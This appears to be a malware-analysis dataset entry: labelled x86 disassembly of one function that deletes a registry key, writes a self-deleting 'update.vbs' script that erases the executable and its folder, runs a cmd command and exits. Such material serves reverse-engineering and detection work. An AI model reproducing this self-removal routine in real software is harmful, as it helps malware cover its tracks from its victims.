Function at 0x407ced
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
mov esi, 0x4632c8
push edi
mov ecx, esi
call fcn.00402046
push eax
mov ecx, esi
call fcn.0040204e
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b8]
push esi
push eax
mov ebx, 0x463280
push str.exepath
mov ecx, ebx
call fcn.0040204e
mov edx, eax
call fcn.0040bfdf
add esp, 0x14
xor edi, edi
test al, al
jne 0x407d4b
push esi
lea eax, [ebp - 0x2b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.0040204e
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b8]
push 0x80
push eax
mov byte [ebp - 1], 1
call esi
mov ebx, eax
mov edx, 0x45694c
neg ebx
mov ecx, 0x463298
sbb bl, bl
and bl, byte [ebp - 1]
call fcn.00405b36
test al, al
je 0x407da4
push 0x80
mov ecx, 0x463298
call fcn.004043ec
push eax
call esi
push str.update.vbs
push 0x45695c
call fcn.0042fcf2
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00406e4d
pop ecx
lea ecx, [ebp - 0x34]
call fcn.00403536
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x34]
call fcn.00403540
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x1c]
call fcn.00408274
pop ecx
lea ecx, [ebp - 0x34]
call fcn.00403536
test bl, bl
je 0x407e47
push 0x456a00
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403540
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00408274
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405e2a
lea ecx, [ebp - 0x34]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
lea ecx, [ebp - 0x64]
call fcn.00403536
push 0x456a38
lea eax, [ebp - 0x2b8]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x34]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00406e4d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405e2a
lea ecx, [ebp - 0x64]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
lea ecx, [ebp - 0x34]
call fcn.00403536
test bl, bl
je 0x407ea8
push str.wend_n
lea ecx, [ebp - 0x1c]
call fcn.00405e21
mov ebx, 0x45694c
mov esi, 0x463298
mov edx, ebx
mov ecx, esi
call fcn.00405b36
test al, al
je 0x407ef7
push 0x456a38
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x4c]
call fcn.00408298
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405e2a
lea ecx, [ebp - 0x64]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
push 0x456b00
push 0x456b04
lea ecx, [ebp - 0xac]
call fcn.00403540
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x94]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00408250
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.004081da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405e2a
lea ecx, [ebp - 0x64]
call fcn.00403536
lea ecx, [ebp - 0x4c]
call fcn.00403536
lea ecx, [ebp - 0x34]
call fcn.00403536
lea ecx, [ebp - 0x94]
call fcn.00403536
lea ecx, [ebp - 0xac]
call fcn.00403536
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x1c]
call fcn.00405e21
push ecx
lea ecx, [ebp - 0x7c]
call fcn.004043ec
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402046
mov esi, eax
lea ecx, [ebp - 0x1c]
add esi, esi
call fcn.004043ec
mov edx, esi
mov ecx, eax
call fcn.00411ec1
pop ecx
pop ecx
test al, al
je 0x407fd7
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.004043ec
push eax
push 0x45650c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x407fd7
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.00403536
lea ecx, [ebp - 0x7c]
call fcn.00403536
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret